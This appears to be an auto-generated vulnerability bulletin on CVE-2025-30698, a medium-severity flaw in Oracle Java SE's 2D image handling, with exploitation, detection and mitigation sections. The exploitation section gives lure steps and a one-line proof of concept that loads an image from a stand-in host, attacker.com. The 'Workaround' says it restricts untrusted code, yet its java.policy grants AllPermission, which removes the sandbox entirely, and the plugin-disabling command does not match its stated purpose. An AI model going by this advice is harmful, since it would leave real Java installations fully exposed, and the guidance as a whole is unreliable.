Oracle Java SE, 2D Component Vulnerability, CVE-2025-30698 (Medium)

How the CVE Works

CVE-2025-30698 is a vulnerability in the 2D component of Oracle Java SE, GraalVM for JDK, and GraalVM Enterprise Edition. It affects multiple versions, including Java SE 8u441, 11.0.26, 17.0.14, and 21.0.6. The flaw arises due to improper handling of graphical data processing, allowing an unauthenticated attacker to exploit it via network protocols.
When a maliciously crafted image or graphical object is processed by the vulnerable 2D library, it can trigger memory corruption or improper access controls. This leads to partial data manipulation (insert/delete), unauthorized data reads, or a partial denial of service (DoS). The attack complexity is high, requiring the victim to load untrusted code (e.g., from a malicious website via Java Web Start or applets).
The CVSS 3.1 score of 5.6 reflects medium severity due to the need for specific user interaction (sandboxed execution) and high attack complexity.

DailyCVE Form

Platform: Oracle Java SE
Version: 8u441, 11.0.26, 17.0.14
Vulnerability: 2D Memory Corruption
Severity: Medium
Date: 04/30/2025

What Undercode Say:

Exploitation

Craft malicious image (e.g., PNG, GIF) triggering 2D parsing flaw.
Host on a server and lure victim via Java Web Start/applet.

Exploit memory corruption to leak/modify data or crash JVM.

// Proof-of-concept (simplified)
BufferedImage maliciousImg = ImageIO.read(new URL("http://attacker.com/exploit.png"));

Detection

Check Java version:

java -version

Mitigation

1. Patch: Upgrade to fixed versions (Oracle advisory).

2. Disable Java Web Start/applets if unused:

Disable Java plugin in browsers
update-alternatives --config java

3. Sandbox Restrictions: Enforce strict JVM security policies.

Analytics

Attack Vector: Network (multi-protocol)
Impact: Data leak, partial DoS
Exploitability: Low (requires user interaction)

References

Oracle Critical Patch Update Advisory
NVD CVE-2025-30698
Mitre CWE-787 (Out-of-bounds Write)

Monitoring

Log JVM crashes (Linux)
grep -i "jvm crash" /var/log/syslog

Workaround

Restrict untrusted code execution via `java.policy`:

grant {
permission java.security.AllPermission;
};